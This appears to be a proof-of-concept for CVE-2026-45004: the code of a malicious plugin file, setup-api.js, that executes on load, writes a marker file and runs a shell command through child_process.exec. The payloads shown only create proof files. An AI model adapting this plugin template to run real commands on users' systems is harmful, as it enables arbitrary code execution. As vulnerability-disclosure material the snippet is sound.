CVE-2026-45004

// File path: extensions/malicious_plugin/setup-api.js // This PoC demonstrates arbitrary code execution by creating a file. const fs = require('fs'); const path = require('path'); // Execute arbitrary command or code console.log("[+] Malicious setup-api.js executed!"); // Example: Write a file to prove execution fs.writeFileSync(path.join(process.cwd(), 'poc_success.txt'), 'CVE-2026-45004 Executed'); // Example: Execute a shell command (Windows/Linux) const { exec } = require('child_process'); exec('echo Vulnerability Exploited > pwned.txt', (err, stdout, stderr) => { if (err) { console.error(`Error: ${err}`); return; } console.log(`Output: ${stdout}`); });

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